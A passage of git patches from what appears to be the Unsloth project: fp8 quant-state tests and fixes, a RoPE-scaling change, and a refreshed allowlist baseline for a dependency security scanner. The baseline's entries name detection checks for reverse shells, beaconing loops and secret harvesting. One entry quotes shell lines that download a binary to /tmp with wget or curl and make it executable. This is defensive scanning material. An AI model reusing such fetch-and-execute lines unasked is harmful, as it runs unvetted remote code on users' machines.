+import torch
+
+# unsloth.kernels.utils imports bitsandbytes unconditionally, so skip the whole module up
+# front on runners without it (e.g. CPU-only) before importing unsloth, otherwise collection
+# errors instead of producing a skip. Any other import error still surfaces as a failure.
+pytest.importorskip("bitsandbytes")
+
+import unsloth  # noqa: F401  (sets UNSLOTH_IS_PRESENT before transformers)
+from unsloth.kernels.utils import get_lora_parameters_bias, _FP8_WEIGHT_DTYPES
+
+_FP8 = _FP8_WEIGHT_DTYPES[0] if _FP8_WEIGHT_DTYPES else None
+
+
+def _proj(weight, weight_scale = None):
+    proj = SimpleNamespace(weight = weight, bias = None, merged = False)
+    if weight_scale is not None:
+        proj.weight_scale = weight_scale
+    return proj
+
+
+def test_bf16_weight_scale_not_used_as_quant_state():
+    """A bf16 weight carrying a weight_scale (compressed-tensors) -> quant state must be None."""
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16), torch.rand(2, 2))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
+
+
+def test_fp8_weight_keeps_scale():
+    """An actual fp8 weight still resolves its weight_scale as the quant state."""
+    if _FP8 is None:
+        pytest.skip("no float8 dtype in this torch build")
+    scale = torch.rand(2, 2)
+    proj = _proj(torch.randn(4, 4).to(_FP8), scale)
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is scale
+
+
+def test_plain_bf16_has_no_quant_state():
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
diff --git a/unsloth/kernels/utils.py b/unsloth/kernels/utils.py
index 43ed198a4a..1b0b5ce12e 100644
--- a/unsloth/kernels/utils.py
+++ b/unsloth/kernels/utils.py
@@ -282,6 +282,21 @@ def QUANT_STATE(W):
     return getattr(W, "quant_state", None)
 
 
+# fp8 weight dtypes. A `weight_scale` / `weight_scale_inv` should only be treated as a
+# quant state when the weight itself is still fp8. compressed-tensors layers expose an
+# already-dequantized bf16 weight at forward time while keeping a `weight_scale` around;
+# reading that as a quant state routes a bf16 weight into the bitsandbytes fast_gemv /
+# fast_dequantize path, which then reads a missing `absmax` and crashes.
+_FP8_WEIGHT_DTYPES = tuple(
+    dtype
+    for dtype in (
+        getattr(torch, "float8_e4m3fn", None),
+        getattr(torch, "float8_e5m2", None),
+    )
+    if dtype is not None
+)
+
+
 def get_lora_parameters(proj):
     """Return (weight, weight quant_state, lora A, lora B, lora scale).
     With QAT enabled, also fake-quantizes the base layer and lora weights.
@@ -298,9 +313,11 @@ def get_lora_parameters(proj):
         if weight_fake_quantizer is not None:
             W = weight_fake_quantizer(W)
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)
@@ -349,9 +366,11 @@ def get_lora_parameters_bias(proj):
     )  # (proj.base_layer if hasattr(proj, "base_layer") else proj)
     W = base_layer.weight
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)

From 534c877d2136b47b0ceec25cc45900c7f7f15e6d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 04:20:41 -0700
Subject: [PATCH 288/306] Keep native RoPE scaling when extending context;
 carry rope_theta for linear (#7028)

* Keep native RoPE scaling when extending context; carry rope_theta for linear

When max_seq_length exceeds a model's native window, the loader overwrote the
model's rope_scaling with linear scaling. For models that already ship a scaled
RoPE (llama3/yarn/longrope) that is far worse for long context, and on
transformers v5 the linear dict omitted rope_theta (v5 keeps it under
rope_parameters), so the rotary base fell back to 10000 and broke past ~8K tokens.

Keep the native scaling and just widen the window; only synthesize linear for
plain-RoPE models, and carry rope_theta so v5 keeps the real base.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Only preserve native llama3 when extending context; keep linear fallback otherwise

The patched attention constructor (patch_llama_rope_scaling) rebuilds only linear,
llama3 and longrope and its longrope branch reads a top-level
original_max_position_embeddings, so preserving yarn or a nested-only longrope config
would raise during construction on transformers <= 4.47.1. Keep only llama3 native;
yarn/longrope/other types fall back to the linear override, still carrying rope_theta.

* Correct long-context extension comment to match llama3-only preservation

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/utils/test_rope_scaling_drift.py | 33 ++++++++++++++
 unsloth/models/llama.py                | 61 +++++++++++++++++---------
 2 files changed, 73 insertions(+), 21 deletions(-)

diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index 7a738e236c..b2ec1e5a20 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -257,6 +257,39 @@ def test_recompute_helper_scales_on_cpu():
     ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
 
 
+def test_extended_rope_scaling_keeps_llama3_and_carries_theta():
+    # Long-context extension keeps native llama3, but falls back to linear for every other
+    # type (the patched attention constructor only rebuilds linear/llama3/longrope), and the
+    # linear dict carries rope_theta so transformers v5 does not fall back to base 10000.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import _extended_rope_scaling
+
+    # llama3 model: keep native scaling, do not synthesize linear.
+    scaling, native = _extended_rope_scaling(_make_config(LLAMA3_ROPE_SCALING), 2.0)
+    assert (
+        scaling is None and native == "llama3"
+    ), "must keep native llama3 scaling instead of overwriting it with linear."
+
+    # yarn is not rebuildable by the patcher -> keep the safe linear fallback, not native.
+    yarn = SimpleNamespace(rope_scaling = {"rope_type": "yarn", "factor": 2.0}, rope_theta = 500000.0)
+    scaling, _ = _extended_rope_scaling(yarn, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 500000.0,
+    }, f"yarn must fall back to linear (patcher cannot rebuild it), got {scaling}."
+
+    # plain RoPE with theta only under v5 rope_parameters: linear must carry rope_theta.
+    v5 = SimpleNamespace(rope_parameters = {"rope_type": "default", "rope_theta": 1000000.0})
+    scaling, _ = _extended_rope_scaling(v5, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 1000000.0,
+    }, f"linear override dropped rope_theta on v5 (got {scaling}); base would fall back to 10000."
+
+
 def test_extended_rotary_reads_config_factor():
     # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8
     # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 1f43f61443..05523bc27b 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -1651,6 +1651,26 @@ def _rope_scaling_as_dict(rope_scaling):
         return {}
 
 
+def _extended_rope_scaling(config, factor):
+    """RoPE scaling to extend a model past its native window. Keeps native llama3 as-is
+    (linear extension is far worse for long context); everything else gets linear. Returns
+    (scaling_or_None, type): None keeps llama3. The linear dict carries rope_theta so
+    transformers v5 (which stores it under rope_parameters) keeps the real base, not 10000.
+    Only llama3 is preserved because patch_llama_rope_scaling can only rebuild linear/llama3/
+    longrope and its longrope branch needs a top-level original_max_position_embeddings."""
+    existing = _rope_scaling_as_dict(
+        getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+    )
+    existing_type = existing.get("rope_type") or existing.get("type")
+    if existing_type == "llama3":
+        return None, existing_type
+    return {
+        "type": "linear",
+        "factor": factor,
+        "rope_theta": _get_rope_theta(config),
+    }, existing_type
+
+
 def _llama3_inv_freq_from_config(
     config,
     rope_scaling,
@@ -2518,34 +2538,33 @@ class FastLlamaModel:
             max_seq_length = model_max_seq_length
 
         if (rope_scaling is None) and (max_seq_length > model_max_seq_length):
-            rope_scaling = max_seq_length / model_max_seq_length
+            factor = max_seq_length / model_max_seq_length
 
             if fast_inference:
                 raise NotImplementedError(
                     "Unsloth: Fast inference does not yet work with RoPE Scaling."
                 )
 
-            logger.warning_once(
-                f"Unsloth: {model_name} can only handle sequence lengths of at most "
-                f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
-                f"{round(rope_scaling, 3)}, it can be magically be extended to "
-                f"{max_seq_length}!"
-            )
-
-            # Warn RoPE scaling isn't allowed
-            if not has_rope_scaling:
-                raise RuntimeError(
-                    f"However, {model_name} doesn't support RoPE Scaling!\n"
-                    "Please file a feature request at https://github.com/unslothai/unsloth."
+            linear_scaling, native_type = _extended_rope_scaling(model_config, factor)
+            if linear_scaling is not None:
+                logger.warning_once(
+                    f"Unsloth: {model_name} can only handle sequence lengths of at most "
+                    f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
+                    f"{round(factor, 3)}, it can be magically be extended to "
+                    f"{max_seq_length}!"
+                )
+                if not has_rope_scaling:
+                    raise RuntimeError(
+                        f"However, {model_name} doesn't support RoPE Scaling!\n"
+                        "Please file a feature request at https://github.com/unslothai/unsloth."
+                    )
+                kwargs["rope_scaling"] = linear_scaling
+            else:
+                # Native llama3 scaling already handles long context; just widen the window.
+                logger.warning_once(
+                    f"Unsloth: extending {model_name} to {max_seq_length} using its native "
+                    f"{native_type} RoPE scaling."
                 )
-
-            rope_scaling = {
-                "type": "linear",
-                "factor": rope_scaling,
-            }
-
-            # Add to kwargs
-            kwargs["rope_scaling"] = rope_scaling
 
         from .loader_utils import (
             check_and_disable_bitsandbytes_loading,

From b5dca66cb1480b36ef738a4e62680e02cca2a65f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 04:52:30 -0700
Subject: [PATCH 289/306] scripts: refresh scan_packages allowlist baseline
 (#7032)

* scripts: refresh scan_packages allowlist baseline

Regenerate scripts/scan_packages_baseline.json against the current
resolved dependency set so the blocking pip scan-packages gate matches
what the scanner now finds. Refreshes evidence hashes for benign
findings whose code shifted lines (unsloth-zoo mlx loader, gguf/mlx
test /tmp fixtures) and adds two mainstream-library entries that were
newly surfaced (torch inductor codecache base64+subprocess compile
cache, torch testing common_utils socket import). Stale entries whose
matching code changed and no longer triggers are dropped.

All entries remain CRITICAL/HIGH findings manually judged benign;
matched on (package, file, check, evidence_hash).

* ci(security-audit): re-run scan when the allowlist baseline changes

The security-audit pull_request trigger listed the scanners but not
their allowlist baselines, so a baseline-only edit never re-ran the
scan that consumes it. A refreshed baseline could therefore merge
without CI confirming its evidence hashes match what the scanner finds.
Add scan_packages_baseline.json and scan_npm_packages_baseline.json to
the paths filter so baseline changes are validated on their own PR.
---
 .github/workflows/security-audit.yml |   6 +-
 scripts/scan_packages_baseline.json  | 304 ++++++++++++---------------
 2 files changed, 140 insertions(+), 170 deletions(-)

diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml
index 0ef2ad1e9d..1275d12216 100644
--- a/.github/workflows/security-audit.yml
+++ b/.github/workflows/security-audit.yml
@@ -2,8 +2,8 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
 # Multi-language supply-chain audit. Triggers:
-#   - PRs touching any dependency manifest (Python / npm / Cargo) or
-#     this workflow file,
+#   - PRs touching any dependency manifest (Python / npm / Cargo), a
+#     scanner or its allowlist baseline, or this workflow file,
 #   - push to main / pip,
 #   - nightly @ 04:13 UTC so newly-published advisories surface even
 #     when no PR opens,
@@ -57,7 +57,9 @@ on:
       - 'studio/src-tauri/Cargo.lock'
       - 'pyproject.toml'
       - 'scripts/scan_packages.py'
+      - 'scripts/scan_packages_baseline.json'
       - 'scripts/scan_npm_packages.py'
+      - 'scripts/scan_npm_packages_baseline.json'
       - '.github/workflows/security-audit.yml'
   push:
     branches: [main, pip]
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 1d34cfb66d..3582517d31 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -39,7 +39,7 @@
       "file": "botocore/utils.py",
       "check": "Reads credential paths AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
       "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
     },
     {
@@ -55,23 +55,23 @@
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
-      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
+      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
+      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
     },
     {
       "package": "datasets",
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
-      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
+      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
+      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1015:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence": "L1052:             return importlib.import_module(\".\" + module_name, self.__name__)",
       "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
@@ -79,7 +79,7 @@
       "file": "diffusers/utils/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L233:         value = os.environ[key]\nNetwork: L688:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
+      "evidence": "Env: L236:         value = os.environ[key]\nNetwork: L691:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
       "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
     },
     {
@@ -90,12 +90,20 @@
       "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
       "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
     },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45",
+      "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5"
+    },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1340:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence": "Archive: L1353:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
     },
     {
@@ -103,8 +111,8 @@
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L624:     history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
-      "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"
+      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
     },
     {
       "package": "fonttools",
@@ -132,19 +140,35 @@
     },
     {
       "package": "huggingface-hub",
-      "file": "huggingface_hub/hf_api.py",
+      "file": "huggingface_hub/_sandbox.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
-      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
+      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
+      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
+      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4600:         while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",
-      "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"
+      "evidence": "L4613:         while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6",
+      "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
+      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
     },
     {
       "package": "huggingface-hub",
@@ -159,8 +183,8 @@
       "file": "huggingface_hub/utils/_http.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",
-      "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"
+      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
+      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
     },
     {
       "package": "huggingface-hub",
@@ -218,6 +242,22 @@
       "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
       "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
     },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
+      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
+      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
+    },
     {
       "package": "numba",
       "file": "numba/pycc/decorators.py",
@@ -231,7 +271,7 @@
       "file": "numba/tests/support.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1021:         os.dup2(w, fd) | L1026:         os.dup2(save, fd)",
+      "evidence": "L1016:         os.dup2(w, fd) | L1021:         os.dup2(save, fd)",
       "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
     },
     {
@@ -495,16 +535,16 @@
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
-      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
+      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
+      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
-      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
+      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
+      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
     },
     {
       "package": "scikit-learn",
@@ -642,6 +682,14 @@
       "evidence": "Base64: L1211:                     content = base64.b64decode(data)\nSubprocess: L2692:                             subprocess.run(\nL2693:                                 cmd.split(), capture_output=True, text=True, check=True\nL2694:                             ) | L2995:             cmd_output = subprocess.run(\nL2996:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997:             ) | L3707:                         out = subprocess.check_output(\nL3708:                             [\"ldd\", os.path.join(search, file)]\nL3709:                         ) | L3791:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876:                     subprocess.check_call(\nL3877:                         shlex.split(halide_cmd_gen.get_command_line())\nL3878:                     ) | L4336:                             subprocess.check_output(\nL4337:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338:                             ) | L4591:                         output = subprocess.check_output(\nL4592:                             cmd_parts,\nL4593:                             stderr=subprocess.STDOUT,\nL4594:                             text=True,\nL4595:                             env=os.environ,\nL4596:                         )",
       "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
     },
+    {
+      "package": "torch",
+      "file": "torch/_inductor/codecache.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L1727:                     content = base64.b64decode(data)\nSubprocess: L3270:                             subprocess.run(\nL3271:                                 cmd, capture_output=True, text=True, check=True\nL3272:                             ) | L3583:             cmd_output = subprocess.run(\nL3584:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585:             ) | L4338:                         out = subprocess.check_output(\nL4339:                             [\"ldd\", os.path.join(search, file)]\nL4340:                         ) | L4422:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507:                     subprocess.check_call(\nL4508:                         shlex.split(halide_cmd_gen.get_command_line())\nL4509:                     ) | L4992:                             subprocess.check_output(\nL4993:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994:                             ) | L5247:                         output = subprocess.check_output(\nL5248:                             cmd_parts,\nL5249:                             stderr=subprocess.STDOUT,\nL5250:                             text=True,\nL5251:                             env=os.environ,\nL5252:                         )",
+      "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06"
+    },
     {
       "package": "torch",
       "file": "torch/ao/__init__.py",
@@ -695,7 +743,7 @@
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L4770:         env = os.environ.copy()\nNetwork: L4832:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
+      "evidence": "Env: L4900:         env = os.environ.copy()\nNetwork: L4962:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
       "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
     },
     {
@@ -706,6 +754,14 @@
       "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
       "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
     },
+    {
+      "package": "torch",
+      "file": "torch/testing/_internal/common_utils.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d",
+      "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865"
+    },
     {
       "package": "torchvision",
       "file": "torchvision/datasets/utils.py",
@@ -743,8 +799,8 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1663:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
